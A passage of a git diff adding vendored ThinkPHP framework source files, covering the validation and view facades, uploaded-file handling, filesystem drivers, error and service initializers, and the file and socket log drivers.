+---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\Validate + * @package think\facade + * @mixin \think\Validate + * @method static void setLang(\think\Lang $lang) 设置Lang对象 + * @method static void setDb(\think\Db $db) 设置Db对象 + * @method static void setRequest(\think\Request $request) 设置Request对象 + * @method static \think\Validate rule(string|array $name, mixed $rule = '') 添加字段验证规则 + * @method static \think\Validate extend(string $type, callable $callback = null, string $message = null) 注册验证(类型)规则 + * @method static void setTypeMsg(string|array $type, string $msg = null) 设置验证规则的默认提示信息 + * @method static Validate message(array $message) 设置提示信息 + * @method static \think\Validate scene(string $name) 设置验证场景 + * @method static bool hasScene(string $name) 判断是否存在某个验证场景 + * @method static \think\Validate batch(bool $batch = true) 设置批量验证 + * @method static \think\Validate failException(bool $fail = true) 设置验证失败后是否抛出异常 + * @method static \think\Validate only(array $fields) 指定需要验证的字段列表 + * @method static \think\Validate remove(string|array $field, mixed $rule = null) 移除某个字段的验证规则 + * @method static \think\Validate append(string|array $field, mixed $rule = null) 追加某个字段的验证规则 + * @method static bool check(array $data, array $rules = []) 数据自动验证 + * @method static bool checkRule(mixed $value, mixed $rules) 根据验证规则验证数据 + * @method static bool confirm(mixed $value, mixed $rule, array $data = [], string $field = '') 验证是否和某个字段的值一致 + * @method static bool different(mixed $value, mixed $rule, array $data = []) 验证是否和某个字段的值是否不同 + * @method static bool egt(mixed $value, mixed $rule, array $data = []) 验证是否大于等于某个值 + * @method static bool gt(mixed $value, mixed $rule, array $data = []) 验证是否大于某个值 + * @method static bool elt(mixed $value, mixed $rule, array $data = []) 验证是否小于等于某个值 + * @method static bool lt(mixed $value, mixed $rule, array $data = []) 验证是否小于某个值 + * @method static bool eq(mixed $value, mixed $rule) 验证是否等于某个值 + * @method static bool must(mixed $value, mixed $rule = null) 必须验证 + * @method static bool is(mixed $value, string $rule, array $data = []) 验证字段值是否为有效格式 + * @method static bool token(mixed $value, mixed $rule, array $data) 验证表单令牌 + * @method static bool activeUrl(mixed $value, mixed $rule = 'MX') 验证是否为合格的域名或者IP 支持A,MX,NS,SOA,PTR,CNAME,AAAA,A6, SRV,NAPTR,TXT 或者 ANY类型 + * @method static bool ip(mixed $value, mixed $rule = 'ipv4') 验证是否有效IP + * @method static bool fileExt(mixed $file, mixed $rule) 验证上传文件后缀 + * @method static bool fileMime(mixed $file, mixed $rule) 验证上传文件类型 + * @method static bool fileSize(mixed $file, mixed $rule) 验证上传文件大小 + * @method static bool image(mixed $file, mixed $rule) 验证图片的宽高及类型 + * @method static bool dateFormat(mixed $value, mixed $rule) 验证时间和日期是否符合指定格式 + * @method static bool unique(mixed $value, mixed $rule, array $data = [], string $field = '') 验证是否唯一 + * @method static bool filter(mixed $value, mixed $rule) 使用filter_var方式验证 + * @method static bool requireIf(mixed $value, mixed $rule, array $data = []) 验证某个字段等于某个值的时候必须 + * @method static bool requireCallback(mixed $value, mixed $rule, array $data = []) 通过回调方法验证某个字段是否必须 + * @method static bool requireWith(mixed $value, mixed $rule, array $data = []) 验证某个字段有值的情况下必须 + * @method static bool requireWithout(mixed $value, mixed $rule, array $data = []) 验证某个字段没有值的情况下必须 + * @method static bool in(mixed $value, mixed $rule) 验证是否在范围内 + * @method static bool notIn(mixed $value, mixed $rule) 验证是否不在某个范围 + * @method static bool between(mixed $value, mixed $rule) between验证数据 + * @method static bool notBetween(mixed $value, mixed $rule) 使用notbetween验证数据 + * @method static bool length(mixed $value, mixed $rule) 验证数据长度 + * @method static bool max(mixed $value, mixed $rule) 验证数据最大长度 + * @method static bool min(mixed $value, mixed $rule) 验证数据最小长度 + * @method static bool after(mixed $value, mixed $rule, array $data = []) 验证日期 + * @method static bool before(mixed $value, mixed $rule, array $data = []) 验证日期 + * @method static bool afterWith(mixed $value, mixed $rule, array $data = []) 验证日期 + * @method static bool beforeWith(mixed $value, mixed $rule, array $data = []) 验证日期 + * @method static bool expire(mixed $value, mixed $rule) 验证有效期 + * @method static bool allowIp(mixed $value, mixed $rule) 验证IP许可 + * @method static bool denyIp(mixed $value, mixed $rule) 验证IP禁用 + * @method static bool regex(mixed $value, mixed $rule) 使用正则验证数据 + * @method static array|string getError() 获取错误信息 + * @method static bool __call(string $method, array $args) 动态方法 直接调用is方法进行验证 + */ +class Validate extends Facade +{ + /** + * 始终创建新的对象实例 + * @var bool + */ + protected static $alwaysNewInstance = true; + + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'validate'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/View.php b/vendor/topthink/framework/src/think/facade/View.php new file mode 100644 index 0000000..a27463b --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/View.php @@ -0,0 +1,42 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\View + * @package think\facade + * @mixin \think\View + * @method static \think\View engine(string $type = null) 获取模板引擎 + * @method static \think\View assign(string|array $name, mixed $value = null) 模板变量赋值 + * @method static \think\View filter(\think\Callable $filter = null) 视图过滤 + * @method static string fetch(string $template = '', array $vars = []) 解析和获取模板内容 用于输出 + * @method static string display(string $content, array $vars = []) 渲染内容输出 + * @method static mixed __set(string $name, mixed $value) 模板变量赋值 + * @method static mixed __get(string $name) 取得模板显示变量的值 + * @method static bool __isset(string $name) 检测模板变量是否设置 + * @method static string|null getDefaultDriver() 默认驱动 + */ +class View extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'view'; + } +} diff --git a/vendor/topthink/framework/src/think/file/UploadedFile.php b/vendor/topthink/framework/src/think/file/UploadedFile.php new file mode 100644 index 0000000..66d061e --- /dev/null +++ b/vendor/topthink/framework/src/think/file/UploadedFile.php @@ -0,0 +1,143 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\file; + +use think\exception\FileException; +use think\File; + +class UploadedFile extends File +{ + + private $test = false; + private $originalName; + private $mimeType; + private $error; + + public function __construct(string $path, string $originalName, string $mimeType = null, int $error = null, bool $test = false) + { + $this->originalName = $originalName; + $this->mimeType = $mimeType ?: 'application/octet-stream'; + $this->test = $test; + $this->error = $error ?: UPLOAD_ERR_OK; + + parent::__construct($path, UPLOAD_ERR_OK === $this->error); + } + + public function isValid(): bool + { + $isOk = UPLOAD_ERR_OK === $this->error; + + return $this->test ? $isOk : $isOk && is_uploaded_file($this->getPathname()); + } + + /** + * 上传文件 + * @access public + * @param string $directory 保存路径 + * @param string|null $name 保存的文件名 + * @return File + */ + public function move(string $directory, string $name = null): File + { + if ($this->isValid()) { + if ($this->test) { + return parent::move($directory, $name); + } + + $target = $this->getTargetFile($directory, $name); + + set_error_handler(function ($type, $msg) use (&$error) { + $error = $msg; + }); + + $moved = move_uploaded_file($this->getPathname(), (string) $target); + restore_error_handler(); + if (!$moved) { + throw new FileException(sprintf('Could not move the file "%s" to "%s" (%s)', $this->getPathname(), $target, strip_tags($error))); + } + + @chmod((string) $target, 0666 & ~umask()); + + return $target; + } + + throw new FileException($this->getErrorMessage()); + } + + /** + * 获取错误信息 + * @access public + * @return string + */ + protected function getErrorMessage(): string + { + switch ($this->error) { + case 1: + case 2: + $message = 'upload File size exceeds the maximum value'; + break; + case 3: + $message = 'only the portion of file is uploaded'; + break; + case 4: + $message = 'no file to uploaded'; + break; + case 6: + $message = 'upload temp dir not found'; + break; + case 7: + $message = 'file write error'; + break; + default: + $message = 'unknown upload error'; + } + + return $message; + } + + /** + * 获取上传文件类型信息 + * @return string + */ + public function getOriginalMime(): string + { + return $this->mimeType; + } + + /** + * 上传文件名 + * @return string + */ + public function getOriginalName(): string + { + return $this->originalName; + } + + /** + * 获取上传文件扩展名 + * @return string + */ + public function getOriginalExtension(): string + { + return pathinfo($this->originalName, PATHINFO_EXTENSION); + } + + /** + * 获取文件扩展名 + * @return string + */ + public function extension(): string + { + return $this->getOriginalExtension(); + } +} diff --git a/vendor/topthink/framework/src/think/filesystem/CacheStore.php b/vendor/topthink/framework/src/think/filesystem/CacheStore.php new file mode 100644 index 0000000..46659ba --- /dev/null +++ b/vendor/topthink/framework/src/think/filesystem/CacheStore.php @@ -0,0 +1,54 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\filesystem; + +use League\Flysystem\Cached\Storage\AbstractCache; +use Psr\SimpleCache\CacheInterface; + +class CacheStore extends AbstractCache +{ + protected $store; + + protected $key; + + protected $expire; + + public function __construct(CacheInterface $store, $key = 'flysystem', $expire = null) + { + $this->key = $key; + $this->store = $store; + $this->expire = $expire; + } + + /** + * Store the cache. + */ + public function save() + { + $contents = $this->getForStorage(); + + $this->store->set($this->key, $contents, $this->expire); + } + + /** + * Load the cache. + */ + public function load() + { + $contents = $this->store->get($this->key); + + if (!is_null($contents)) { + $this->setFromStorage($contents); + } + } +} diff --git a/vendor/topthink/framework/src/think/filesystem/Driver.php b/vendor/topthink/framework/src/think/filesystem/Driver.php new file mode 100644 index 0000000..26826ad --- /dev/null +++ b/vendor/topthink/framework/src/think/filesystem/Driver.php @@ -0,0 +1,133 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\filesystem; + +use League\Flysystem\AdapterInterface; +use League\Flysystem\Adapter\AbstractAdapter; +use League\Flysystem\Cached\CachedAdapter; +use League\Flysystem\Cached\Storage\Memory as MemoryStore; +use League\Flysystem\Filesystem; +use think\Cache; +use think\File; + +/** + * Class Driver + * @package think\filesystem + * @mixin Filesystem + */ +abstract class Driver +{ + + /** @var Cache */ + protected $cache; + + /** @var Filesystem */ + protected $filesystem; + + /** + * 配置参数 + * @var array + */ + protected $config = []; + + public function __construct(Cache $cache, array $config) + { + $this->cache = $cache; + $this->config = array_merge($this->config, $config); + + $adapter = $this->createAdapter(); + $this->filesystem = $this->createFilesystem($adapter); + } + + protected function createCacheStore($config) + { + if (true === $config) { + return new MemoryStore; + } + + return new CacheStore( + $this->cache->store($config['store']), + $config['prefix'] ?? 'flysystem', + $config['expire'] ?? null + ); + } + + abstract protected function createAdapter(): AdapterInterface; + + protected function createFilesystem(AdapterInterface $adapter): Filesystem + { + if (!empty($this->config['cache'])) { + $adapter = new CachedAdapter($adapter, $this->createCacheStore($this->config['cache'])); + } + + $config = array_intersect_key($this->config, array_flip(['visibility', 'disable_asserts', 'url'])); + + return new Filesystem($adapter, count($config) > 0 ? $config : null); + } + + /** + * 获取文件完整路径 + * @param string $path + * @return string + */ + public function path(string $path): string + { + $adapter = $this->filesystem->getAdapter(); + + if ($adapter instanceof AbstractAdapter) { + return $adapter->applyPathPrefix($path); + } + + return $path; + } + + /** + * 保存文件 + * @param string $path 路径 + * @param File $file 文件 + * @param null|string|\Closure $rule 文件名规则 + * @param array $options 参数 + * @return bool|string + */ + public function putFile(string $path, File $file, $rule = null, array $options = []) + { + return $this->putFileAs($path, $file, $file->hashName($rule), $options); + } + + /** + * 指定文件名保存文件 + * @param string $path 路径 + * @param File $file 文件 + * @param string $name 文件名 + * @param array $options 参数 + * @return bool|string + */ + public function putFileAs(string $path, File $file, string $name, array $options = []) + { + $stream = fopen($file->getRealPath(), 'r'); + $path = trim($path . '/' . $name, '/'); + + $result = $this->putStream($path, $stream, $options); + + if (is_resource($stream)) { + fclose($stream); + } + + return $result ? $path : false; + } + + public function __call($method, $parameters) + { + return $this->filesystem->$method(...$parameters); + } +} diff --git a/vendor/topthink/framework/src/think/filesystem/driver/Local.php b/vendor/topthink/framework/src/think/filesystem/driver/Local.php new file mode 100644 index 0000000..5bcc08b --- /dev/null +++ b/vendor/topthink/framework/src/think/filesystem/driver/Local.php @@ -0,0 +1,44 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\filesystem\driver; + +use League\Flysystem\AdapterInterface; +use League\Flysystem\Adapter\Local as LocalAdapter; +use think\filesystem\Driver; + +class Local extends Driver +{ + /** + * 配置参数 + * @var array + */ + protected $config = [ + 'root' => '', + ]; + + protected function createAdapter(): AdapterInterface + { + $permissions = $this->config['permissions'] ?? []; + + $links = ($this->config['links'] ?? null) === 'skip' + ? LocalAdapter::SKIP_LINKS + : LocalAdapter::DISALLOW_LINKS; + + return new LocalAdapter( + $this->config['root'], + LOCK_EX, + $links, + $permissions + ); + } +} diff --git a/vendor/topthink/framework/src/think/initializer/BootService.php b/vendor/topthink/framework/src/think/initializer/BootService.php new file mode 100644 index 0000000..ef9b25e --- /dev/null +++ b/vendor/topthink/framework/src/think/initializer/BootService.php @@ -0,0 +1,26 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\initializer; + +use think\App; + +/** + * 启动系统服务 + */ +class BootService +{ + public function init(App $app) + { + $app->boot(); + } +} diff --git a/vendor/topthink/framework/src/think/initializer/Error.php b/vendor/topthink/framework/src/think/initializer/Error.php new file mode 100644 index 0000000..27fef64 --- /dev/null +++ b/vendor/topthink/framework/src/think/initializer/Error.php @@ -0,0 +1,117 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\initializer; + +use think\App; +use think\console\Output as ConsoleOutput; +use think\exception\ErrorException; +use think\exception\Handle; +use Throwable; + +/** + * 错误和异常处理 + */ +class Error +{ + /** @var App */ + protected $app; + + /** + * 注册异常处理 + * @access public + * @param App $app + * @return void + */ + public function init(App $app) + { + $this->app = $app; + error_reporting(E_ALL); + set_error_handler([$this, 'appError']); + set_exception_handler([$this, 'appException']); + register_shutdown_function([$this, 'appShutdown']); + } + + /** + * Exception Handler + * @access public + * @param \Throwable $e + */ + public function appException(Throwable $e): void + { + $handler = $this->getExceptionHandler(); + + $handler->report($e); + + if ($this->app->runningInConsole()) { + $handler->renderForConsole(new ConsoleOutput, $e); + } else { + $handler->render($this->app->request, $e)->send(); + } + } + + /** + * Error Handler + * @access public + * @param integer $errno 错误编号 + * @param string $errstr 详细错误信息 + * @param string $errfile 出错的文件 + * @param integer $errline 出错行号 + * @throws ErrorException + */ + public function appError(int $errno, string $errstr, string $errfile = '', int $errline = 0): void + { + $exception = new ErrorException($errno, $errstr, $errfile, $errline); + + if (error_reporting() & $errno) { + // 将错误信息托管至 think\exception\ErrorException + throw $exception; + } + } + + /** + * Shutdown Handler + * @access public + */ + public function appShutdown(): void + { + if (!is_null($error = error_get_last()) && $this->isFatal($error['type'])) { + // 将错误信息托管至think\ErrorException + $exception = new ErrorException($error['type'], $error['message'], $error['file'], $error['line']); + + $this->appException($exception); + } + } + + /** + * 确定错误类型是否致命 + * + * @access protected + * @param int $type + * @return bool + */ + protected function isFatal(int $type): bool + { + return in_array($type, [E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_PARSE]); + } + + /** + * Get an instance of the exception handler. + * + * @access protected + * @return Handle + */ + protected function getExceptionHandler() + { + return $this->app->make(Handle::class); + } +} diff --git a/vendor/topthink/framework/src/think/initializer/RegisterService.php b/vendor/topthink/framework/src/think/initializer/RegisterService.php new file mode 100644 index 0000000..c63ab35 --- /dev/null +++ b/vendor/topthink/framework/src/think/initializer/RegisterService.php @@ -0,0 +1,48 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\initializer; + +use think\App; +use think\service\ModelService; +use think\service\PaginatorService; +use think\service\ValidateService; + +/** + * 注册系统服务 + */ +class RegisterService +{ + + protected $services = [ + PaginatorService::class, + ValidateService::class, + ModelService::class, + ]; + + public function init(App $app) + { + $file = $app->getRootPath() . 'vendor/services.php'; + + $services = $this->services; + + if (is_file($file)) { + $services = array_merge($services, include $file); + } + + foreach ($services as $service) { + if (class_exists($service)) { + $app->register($service); + } + } + } +} diff --git a/vendor/topthink/framework/src/think/log/Channel.php b/vendor/topthink/framework/src/think/log/Channel.php new file mode 100644 index 0000000..2660a60 --- /dev/null +++ b/vendor/topthink/framework/src/think/log/Channel.php @@ -0,0 +1,282 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\log; + +use Psr\Log\LoggerInterface; +use think\contract\LogHandlerInterface; +use think\Event; +use think\event\LogWrite; + +class Channel implements LoggerInterface +{ + protected $name; + protected $logger; + protected $event; + + protected $lazy = true; + /** + * 日志信息 + * @var array + */ + protected $log = []; + + /** + * 关闭日志 + * @var array + */ + protected $close = false; + + /** + * 允许写入类型 + * @var array + */ + protected $allow = []; + + public function __construct(string $name, LogHandlerInterface $logger, array $allow, bool $lazy = true, Event $event = null) + { + $this->name = $name; + $this->logger = $logger; + $this->allow = $allow; + $this->lazy = $lazy; + $this->event = $event; + } + + /** + * 关闭通道 + */ + public function close() + { + $this->clear(); + $this->close = true; + } + + /** + * 清空日志 + */ + public function clear() + { + $this->log = []; + } + + /** + * 记录日志信息 + * @access public + * @param mixed $msg 日志信息 + * @param string $type 日志级别 + * @param array $context 替换内容 + * @param bool $lazy + * @return $this + */ + public function record($msg, string $type = 'info', array $context = [], bool $lazy = true) + { + if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) { + return $this; + } + + if (is_string($msg) && !empty($context)) { + $replace = []; + foreach ($context as $key => $val) { + $replace['{' . $key . '}'] = $val; + } + + $msg = strtr($msg, $replace); + } + + if (!empty($msg) || 0 === $msg) { + $this->log[$type][] = $msg; + } + + if (!$this->lazy || !$lazy) { + $this->save(); + } + + return $this; + } + + /** + * 实时写入日志信息 + * @access public + * @param mixed $msg 调试信息 + * @param string $type 日志级别 + * @param array $context 替换内容 + * @return $this + */ + public function write($msg, string $type = 'info', array $context = []) + { + return $this->record($msg, $type, $context, false); + } + + /** + * 获取日志信息 + * @return array + */ + public function getLog(): array + { + return $this->log; + } + + /** + * 保存日志 + * @return bool + */ + public function save(): bool + { + $log = $this->log; + if ($this->event) { + $event = new LogWrite($this->name, $log); + $this->event->trigger($event); + $log = $event->log; + } + + if ($this->logger->save($log)) { + $this->clear(); + return true; + } + + return false; + } + + /** + * System is unusable. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function emergency($message, array $context = []) + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * Action must be taken immediately. + * + * Example: Entire website down, database unavailable, etc. This should + * trigger the SMS alerts and wake you up. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function alert($message, array $context = []) + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * Critical conditions. + * + * Example: Application component unavailable, unexpected exception. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function critical($message, array $context = []) + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * Runtime errors that do not require immediate action but should typically + * be logged and monitored. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function error($message, array $context = []) + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * Exceptional occurrences that are not errors. + * + * Example: Use of deprecated APIs, poor use of an API, undesirable things + * that are not necessarily wrong. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function warning($message, array $context = []) + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * Normal but significant events. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function notice($message, array $context = []) + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * Interesting events. + * + * Example: User logs in, SQL logs. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function info($message, array $context = []) + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * Detailed debug information. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function debug($message, array $context = []) + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * Logs with an arbitrary level. + * + * @param mixed $level + * @param string $message + * @param array $context + * + * @return void + */ + public function log($level, $message, array $context = []) + { + $this->record($message, $level, $context); + } + + public function __call($method, $parameters) + { + $this->log($method, ...$parameters); + } +} diff --git a/vendor/topthink/framework/src/think/log/ChannelSet.php b/vendor/topthink/framework/src/think/log/ChannelSet.php new file mode 100644 index 0000000..e38811c --- /dev/null +++ b/vendor/topthink/framework/src/think/log/ChannelSet.php @@ -0,0 +1,39 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\log; + +use think\Log; + +/** + * Class ChannelSet + * @package think\log + * @mixin Channel + */ +class ChannelSet +{ + protected $log; + protected $channels; + + public function __construct(Log $log, array $channels) + { + $this->log = $log; + $this->channels = $channels; + } + + public function __call($method, $arguments) + { + foreach ($this->channels as $channel) { + $this->log->channel($channel)->{$method}(...$arguments); + } + } +} diff --git a/vendor/topthink/framework/src/think/log/driver/File.php b/vendor/topthink/framework/src/think/log/driver/File.php new file mode 100644 index 0000000..6f075b9 --- /dev/null +++ b/vendor/topthink/framework/src/think/log/driver/File.php @@ -0,0 +1,205 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\log\driver; + +use think\App; +use think\contract\LogHandlerInterface; + +/** + * 本地化调试输出到文件 + */ +class File implements LogHandlerInterface +{ + /** + * 配置参数 + * @var array + */ + protected $config = [ + 'time_format' => 'c', + 'single' => false, + 'file_size' => 2097152, + 'path' => '', + 'apart_level' => [], + 'max_files' => 0, + 'json' => false, + 'json_options' => JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES, + 'format' => '[%s][%s] %s', + ]; + + // 实例化并传入参数 + public function __construct(App $app, $config = []) + { + if (is_array($config)) { + $this->config = array_merge($this->config, $config); + } + + if (empty($this->config['format'])) { + $this->config['format'] = '[%s][%s] %s'; + } + + if (empty($this->config['path'])) { + $this->config['path'] = $app->getRuntimePath() . 'log'; + } + + if (substr($this->config['path'], -1) != DIRECTORY_SEPARATOR) { + $this->config['path'] .= DIRECTORY_SEPARATOR; + } + } + + /** + * 日志写入接口 + * @access public + * @param array $log 日志信息 + * @return bool + */ + public function save(array $log): bool + { + $destination = $this->getMasterLogFile(); + + $path = dirname($destination); + !is_dir($path) && mkdir($path, 0755, true); + + $info = []; + + // 日志信息封装 + $time = \DateTime::createFromFormat('0.u00 U', microtime())->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format($this->config['time_format']); + + foreach ($log as $type => $val) { + $message = []; + foreach ($val as $msg) { + if (!is_string($msg)) { + $msg = var_export($msg, true); + } + + $message[] = $this->config['json'] ? + json_encode(['time' => $time, 'type' => $type, 'msg' => $msg], $this->config['json_options']) : + sprintf($this->config['format'], $time, $type, $msg); + } + + if (true === $this->config['apart_level'] || in_array($type, $this->config['apart_level'])) { + // 独立记录的日志级别 + $filename = $this->getApartLevelFile($path, $type); + $this->write($message, $filename); + continue; + } + + $info[$type] = $message; + } + + if ($info) { + return $this->write($info, $destination); + } + + return true; + } + + /** + * 日志写入 + * @access protected + * @param array $message 日志信息 + * @param string $destination 日志文件 + * @return bool + */ + protected function write(array $message, string $destination): bool + { + // 检测日志文件大小,超过配置大小则备份日志文件重新生成 + $this->checkLogSize($destination); + + $info = []; + + foreach ($message as $type => $msg) { + $info[$type] = is_array($msg) ? implode(PHP_EOL, $msg) : $msg; + } + + $message = implode(PHP_EOL, $info) . PHP_EOL; + + return error_log($message, 3, $destination); + } + + /** + * 获取主日志文件名 + * @access public + * @return string + */ + protected function getMasterLogFile(): string + { + + if ($this->config['max_files']) { + $files = glob($this->config['path'] . '*.log'); + + try { + if (count($files) > $this->config['max_files']) { + unlink($files[0]); + } + } catch (\Exception $e) { + // + } + } + + if ($this->config['single']) { + $name = is_string($this->config['single']) ? $this->config['single'] : 'single'; + $destination = $this->config['path'] . $name . '.log'; + } else { + + if ($this->config['max_files']) { + $filename = date('Ymd') . '.log'; + } else { + $filename = date('Ym') . DIRECTORY_SEPARATOR . date('d') . '.log'; + } + + $destination = $this->config['path'] . $filename; + } + + return $destination; + } + + /** + * 获取独立日志文件名 + * @access public + * @param string $path 日志目录 + * @param string $type 日志类型 + * @return string + */ + protected function getApartLevelFile(string $path, string $type): string + { + + if ($this->config['single']) { + $name = is_string($this->config['single']) ? $this->config['single'] : 'single'; + + $name .= '_' . $type; + } elseif ($this->config['max_files']) { + $name = date('Ymd') . '_' . $type; + } else { + $name = date('d') . '_' . $type; + } + + return $path . DIRECTORY_SEPARATOR . $name . '.log'; + } + + /** + * 检查日志文件大小并自动生成备份文件 + * @access protected + * @param string $destination 日志文件 + * @return void + */ + protected function checkLogSize(string $destination): void + { + if (is_file($destination) && floor($this->config['file_size']) <= filesize($destination)) { + try { + rename($destination, dirname($destination) . DIRECTORY_SEPARATOR . time() . '-' . basename($destination)); + } catch (\Exception $e) { + // + } + } + } +} diff --git a/vendor/topthink/framework/src/think/log/driver/Socket.php b/vendor/topthink/framework/src/think/log/driver/Socket.php new file mode 100644 index 0000000..b78ebfb --- /dev/null +++ b/vendor/topthink/framework/src/think/log/driver/Socket.php @@ -0,0 +1,306 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\log\driver; + +use Psr\Container\NotFoundExceptionInterface; +use think\App; +use think\contract\LogHandlerInterface; + +/** + * github: https://github.com/luofei614/SocketLog + * @author luofei614 + */ +class Socket implements LogHandlerInterface +{ + protected $app; + + protected $config = [ + // socket服务器地址 + 'host' => 'localhost', + // socket服务器端口 + 'port' => 1116, + // 是否显示加载的文件列表 + 'show_included_files' => false, + // 日志强制记录到配置的client_id + 'force_client_ids' => [], + // 限制允许读取日志的client_id + 'allow_client_ids' => [], + // 调试开关 + 'debug' => false, + // 输出到浏览器时默认展开的日志级别 + 'expand_level' => ['debug'], + // 日志头渲染回调 + 'format_head' => null, + ]; + + protected $css = [ + 'sql' => 'color:#009bb4;', + 'sql_warn' => 'color:#009bb4;font-size:14px;', + 'error' => 'color:#f4006b;font-size:14px;', + 'page' => 'color:#40e2ff;background:#171717;', + 'big' => 'font-size:20px;color:red;', + ]; + + protected $allowForceClientIds = []; //配置强制推送且被授权的client_id + + protected $clientArg = []; + + /** + * 架构函数 + * @access public + * @param App $app + * @param array $config 缓存参数 + */ + public function __construct(App $app, array $config = []) + { + $this->app = $app; + + if (!empty($config)) { + $this->config = array_merge($this->config, $config); + } + + if (!isset($config['debug'])) { + $this->config['debug'] = $app->isDebug(); + } + } + + /** + * 调试输出接口 + * @access public + * @param array $log 日志信息 + * @return bool + */ + public function save(array $log = []): bool + { + if (!$this->check()) { + return false; + } + + $trace = []; + + if ($this->config['debug']) { + if ($this->app->exists('request')) { + $currentUri = $this->app->request->url(true); + } else { + $currentUri = 'cmd:' . implode(' ', $_SERVER['argv'] ?? []); + } + + if (!empty($this->config['format_head'])) { + try { + $currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]); + } catch (NotFoundExceptionInterface $notFoundException) { + // Ignore exception + } + } + + // 基本信息 + $trace[] = [ + 'type' => 'group', + 'msg' => $currentUri, + 'css' => $this->css['page'], + ]; + } + + $expandLevel = array_flip($this->config['expand_level']); + + foreach ($log as $type => $val) { + $trace[] = [ + 'type' => isset($expandLevel[$type]) ? 'group' : 'groupCollapsed', + 'msg' => '[ ' . $type . ' ]', + 'css' => $this->css[$type] ?? '', + ]; + + foreach ($val as $msg) { + if (!is_string($msg)) { + $msg = var_export($msg, true); + } + $trace[] = [ + 'type' => 'log', + 'msg' => $msg, + 'css' => '', + ]; + } + + $trace[] = [ + 'type' => 'groupEnd', + 'msg' => '', + 'css' => '', + ]; + } + + if ($this->config['show_included_files']) { + $trace[] = [ + 'type' => 'groupCollapsed', + 'msg' => '[ file ]', + 'css' => '', + ]; + + $trace[] = [ + 'type' => 'log', + 'msg' => implode("\n", get_included_files()), + 'css' => '', + ]; + + $trace[] = [ + 'type' => 'groupEnd', + 'msg' => '', + 'css' => '', + ]; + } + + $trace[] = [ + 'type' => 'groupEnd', + 'msg' => '', + 'css' => '', + ]; + + $tabid = $this->getClientArg('tabid'); + + if (!$clientId = $this->getClientArg('client_id')) { + $clientId = ''; + } + + if (!empty($this->allowForceClientIds)) { + //强制推送到多个client_id + foreach ($this->allowForceClientIds as $forceClientId) { + $clientId = $forceClientId; + $this->sendToClient($tabid, $clientId, $trace, $forceClientId); + } + } else { + $this->sendToClient($tabid, $clientId, $trace, ''); + } + + return true; + } + + /** + * 发送给指定客户端 + * @access protected + * @author Zjmainstay + * @param $tabid + * @param $clientId + * @param $logs + * @param $forceClientId + */ + protected function sendToClient($tabid, $clientId, $logs, $forceClientId) + { + $logs = [ + 'tabid' => $tabid, + 'client_id' => $clientId, + 'logs' => $logs, + 'force_client_id' => $forceClientId, + ]; + + $msg = json_encode($logs, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR); + $address = '/' . $clientId; //将client_id作为地址, server端通过地址判断将日志发布给谁 + + $this->send($this->config['host'], $this->config['port'], $msg, $address); + } + + /** + * 检测客户授权 + * @access protected + * @return bool + */ + protected function check() + { + $tabid = $this->getClientArg('tabid'); + + //是否记录日志的检查 + if (!$tabid && !$this->config['force_client_ids']) { + return false; + } + + //用户认证 + $allowClientIds = $this->config['allow_client_ids']; + + if (!empty($allowClientIds)) { + //通过数组交集得出授权强制推送的client_id + $this->allowForceClientIds = array_intersect($allowClientIds, $this->config['force_client_ids']); + if (!$tabid && count($this->allowForceClientIds)) { + return true; + } + + $clientId = $this->getClientArg('client_id'); + if (!in_array($clientId, $allowClientIds)) { + return false; + } + } else { + $this->allowForceClientIds = $this->config['force_client_ids']; + } + + return true; + } + + /** + * 获取客户参数 + * @access protected + * @param string $name + * @return string + */ + protected function getClientArg(string $name) + { + if (!$this->app->exists('request')) { + return ''; + } + + if (empty($this->clientArg)) { + if (empty($socketLog = $this->app->request->header('socketlog'))) { + if (empty($socketLog = $this->app->request->header('User-Agent'))) { + return ''; + } + } + + if (!preg_match('/SocketLog\((.*?)\)/', $socketLog, $match)) { + $this->clientArg = ['tabid' => null, 'client_id' => null]; + return ''; + } + parse_str($match[1] ?? '', $this->clientArg); + } + + if 